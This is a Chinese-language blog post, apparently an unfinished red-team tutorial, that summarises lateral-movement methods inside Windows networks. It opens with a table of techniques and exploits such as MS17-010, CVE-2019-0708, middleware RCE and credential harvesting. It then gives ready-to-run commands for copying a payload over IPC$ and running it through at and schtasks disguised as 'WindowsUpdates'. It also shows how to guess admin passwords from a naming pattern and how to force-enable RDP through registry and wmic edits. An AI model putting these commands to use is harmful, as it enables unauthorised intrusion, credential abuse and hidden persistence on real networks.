内网渗透: 横向渗透方法总结(未完结)
2020-10-12 21:46:03 Author: 1oecho.github.io(查看原文) 阅读量:412 收藏

1

0x01 基本横向方法:

横向方法 实现方法
远程计划任务,远程服务管理 $IPC远程操作实现目标上线
Dcom 远程执行 通过Com对象进行远程命令执行
Rdp 远程执行 RDP配合代码执行进行横向渗透
SSH 远程执行
Mssql 远程执行
Oracle 远程执行
Mysql 远程执行
Post gresql 远程执行
集控下发 各类 EDR 主控端 补丁服务器
SSP
SSH 类后门 别名记录
各类 Java 中间件 RCE Nday Tomcat,ActiveMQ,Weblogic,Jenkins,shiro,fastjson MSF配合各类中间件利用工具
IIS6.0 Webdav RCE & PUT 利用中间件漏洞RCE实现横向
OWA CVE 2020 0688
CVE 2019 0708 3389漏洞利用
MS17 010 永恒之蓝利用
MS08 067
Rsync 写文件 通过文件同步
NFS 错误配置
内网钓鱼 利用内部 邮件 OA 聊天工具 社工 FTP /NAS 挑 文件绑马替换
DNS 劫持 挂马 钓鱼
Rdp 反向劫持 条件苛刻
通过收集的敏感信息横向 实现方法
个人机浏览器 Web 密码 抓取 找上传 传 shell 常规WEB渗透,寻找关键系统getshell
抓取各类三方工具客户端 [Xshell,SecureCRT,Navicat,SSMS,PLSQL,Filezilla,xftp密码 获取敏感信息,进行密码收集,定点横向
MS14 068 通过漏洞获取域控权限
服务票据爆破 域内服务暴力破解
Ldap 喷射 通过工具进行Ldap喷射
绑定登录脚本 通过域控进行设定登陆脚本
EDR下发策略 各类高权限的恶意策略下发

0x02 具体实现步骤

[+] 远程计划任务

前提条件:

  • 1.必须通过其他手段拿到本地或者域管理账号密码
  • 2.若在横向渗透过程中,要保证当前机器能net use远程到目标机器上
  • 3.目标机器开启了task scheduler服务,正常运行Task Scheduler

具体步骤:

  • XP/2003以下版本利用方式
net use \\10.10.10.10\admin$ /user:"administrator" !QAZ2wsx # net use

net time 10.10.10.10 # 查看 远程 windows 机器时间

xcopy Patches.exe 192.168.3.102 admin$ temp # 把 payload拷到远程机器的某个临时目录下

at 192.168.3.102 19:30 /every:5,6,7,10,18,19,21,24,28 windows temp Patches.exe # 开始在 远程 机器 上创建计划任务 只 在 每个月 的这几天的晚上七点半 准时 执行 指定 的 payload

at 192.168.3.102 # 查看 远程机器上的 所有 计划任务 列表

at 192.168.3.102 /delete /yes # 删除 远程机器上的所有计划任务 也可以 用 指定 id 的 方式 删除 单条 计划任务

net use 192.168.3.102 admin$ /del # 用完 以后 立即 删除 该 ipc 连接
  1. 通过IPC共享木马文件,先查看目标时间:
image-20200925164637769
  • Windows 7/windows 2003 以上

具体操作流程

net use \\192.168.3.108\admin$ /user:"administrator" "admin!@#45"

net time \\192.168.3.108

xcopy c:\rev.bat \\192.168.3.108\admin$\temp\

chcp 437 # 如果目标是中文系统,最好先调整下字符集,不然会有问题

schtasks /create /s 192.168.3.108 /u "administrator" /p "admin!@#45" /RL HIGHEST /F /tn "WindowsUpdates" /tr "C:/Windows/temp/bit.exe" /sc DAILY /mo 1 /ST 20:15
#在远程的目标机器上创建计划任务

schtasks /run /tn WindowsUpdates /s 192.168.3.108 /U " administrator" /P "admin!@#45" # 创建完以后,远程手动运行

schtasks /query /s 192.168.3.108 /U "administrator" /P "admin!@#45" | findstr "WindowsUpdates" # 运行完以后,随手检查运行状态

schtasks /delete /F /tn WindowsUpdates /s 192.168.3.108 /U " administrator" /P "admin!@#45" # 一般情况下,在我们拿到远程机器shell 以后,立即删除远程机器上的计划任务即可

[+] Dcom 远程执行

前提条件:

  • 1.必须拥有管理员权限,目标机开启共享且关闭防火墙
  • 2.若在域内环境横向渗透过程中,要保证当前机器获取了域管理员证书

具体步骤:

[+] RDP 横向渗透

前提条件:

  • 1.在拿下一台机器后,Dump-Hash之后得到明文密码,结合本机信息猜测其他机器密码,进行横向(动静较大)
  • 2.拥有管理员权限或者RDP组权限
  • 3.通过RDP成功连接时,执行程序实现横向渗透

具体步骤:

(1)密码规则猜测,或者弱口令直接撞3389(工作组环境)

  • 假设拿到DMZ区域的WEB服务器,DumpHash后,获得密码格式
# IP: 10.10.10.130   密码: ABCD130!@.

# 仔细划分为三部分:

# ABCD  目标公司名称简称 

# 130	目标系统IP的C段地址

# !@.	密码策略问题,加的特殊字符

# 由此可以猜测主机内其他机器管理员密码情况,从而定点横向,从WEB到数据库从数据库到核心。。。。

(2) 通过高权限用户配合高频密码进行横向RDP喷射

  • 高权限域用户,Dump到明文密码,3389端口开启:

    • RDP端口查看方式:
    # 通过注册表查询3389
    
    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服务是否开启:1关闭,0开启
    
    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber  # 查看RDP服务的端口
    
    
    # 通过进程查看
    
    tasklist /svc | find "TermService" # 找到对应服务进程的PID
    netstat -ano | find "3220" # 找到进程对应的端口号
    
    
    # 通过监听端口查看
    
    netstat -ano | findstr LIS # 查看当前监听端口,有些情况可能RDP端口更改
    
    
    • 强开RDP端口方法:

      # 注册表开启,高权限用户:
      
      REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
      
      REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f  # 监听 3389 端口
      
      # 注册表文件开启,高权限用户:
      
      Windows Registry Editor Version 5.00
      [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
      "fDenyTSConnections"=dword:00000000
      [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
      "PortNumber"=dword:00000d3d 
      
      # Wmic启动远程主机RDP服务:
      
      wmic /node: "10.10.10.130" /USER:"10.10.10.130\administrator" PATH win32_erminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 # 需要输入远程机器上管理员密码
      

文章来源: https://1oecho.github.io/Net-6/
如有侵权请联系:admin#unsafe.sh